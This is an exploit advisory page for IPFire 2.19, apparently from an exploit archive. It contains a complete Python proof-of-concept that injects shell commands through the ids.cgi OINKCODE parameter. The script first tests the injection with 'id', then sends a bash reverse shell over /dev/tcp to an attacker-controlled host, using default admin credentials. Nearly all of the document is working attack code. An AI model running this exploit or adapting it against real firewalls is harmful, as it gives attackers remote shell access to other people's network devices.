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IPFire 2.19 Remote Code Execution

IPFire 2.19 Remote Code Execution
Posted Jun 9, 2017
Authored by 0x09AL

IPFire version 2.19 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 07501206610f720cf49a0aa2c7c43c0b

IPFire 2.19 Remote Code Execution

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# 
# Title : IPFire 2.19 Firewall Post-Auth RCE
# Date : 09/06/2017
# Author : 0x09AL (https://twitter.com/0x09AL)
# Tested on: IPFire 2.19 (x86_64) - Core Update 110
# Vendor : http://www.ipfire.org/
# Software : http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso
# Vulnerability Description:
# The file ids.cgi doesn't sanitize the OINKCODE parameter and gets passed to a system call which call wget.
# You need valid credentials to exploit this vulnerability or you can exploit it through CSRF.
#
#

import requests


# Adjust the ip and ports.

revhost = '192.168.56.1'
revport = 1337
url = 'https://192.168.56.102:444/cgi-bin/ids.cgi'
username = 'admin'
password = 'admin'


payload = 'bash -i >& /dev/tcp/' + revhost + '/' + str(revport) + ' 0>&1'
evildata = {'ENABLE_SNORT_GREEN':'on','ENABLE_SNORT':'on','RULES':'registered','OINKCODE': '`id`','ACTION': 'Download new ruleset','ACTION2':'snort'}
headers = {'Accept-Encoding' : 'gzip, deflate, br','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','User-Agent':'IPFIRE Exploit','Referer': url,'Upgrade-Insecure-Requests':'1'}


def verifyVuln():
req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False) # Verify false is added because most of the time the certificate is self signed.
if(req.status_code == 200 and "uid=99(nobody)" in req.text):
print "[+] IPFire Installation is Vulnerable [+]"
revShell()
else:
print "[+] Not Vulnerable [+]"

def revShell():
evildata["OINKCODE"] = '`' + payload + '`'
print "[+] Sending Malicious Payload [+]"
req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)


verifyVuln()

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